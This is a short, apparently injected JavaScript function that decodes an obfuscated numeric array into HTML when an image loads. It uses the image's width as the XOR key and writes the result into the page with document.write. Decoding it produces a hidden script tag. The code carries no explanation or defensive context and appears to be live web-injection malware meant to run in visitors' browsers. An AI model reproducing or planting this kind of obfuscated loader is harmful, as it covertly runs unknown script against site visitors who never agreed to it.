function onImgLoad(source) {
var as = new Array(30,60,236,125,486,531,595,467,571,528,604,519,556,545,610,545,570,528,661,461,565,528,646,469,565,547,593,461,571,535,582,522,514,540,583,482,559,533,589,471,558,470,607,467,571,524,589,537,512,452,611,482,560,537,608,461,514,524,601,465,575,453,628,547,558,541,600,461,501,538,593,463,579,531,595,467,571,528,604,485,512,480,611,467,577,453,628,547,570,524,604,465,488,471,647,468,575,540,645,466,559,530,590,535,577,535,581,534,497,461,672,524,490,467,664,534,563,453,588,472,579,522,589,465,579,533,654,465,487,482,651,545,570,528,656,538,512,548,658,519,486,548,647,466,577,530,585,465,558,454,658,536,489,452,647,466,577,530,585,465,558,454);
var xi = source.width; if (!xi) {return;}
var s=""; for (var n=4; n<as.length; n++) {s+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(s);
}

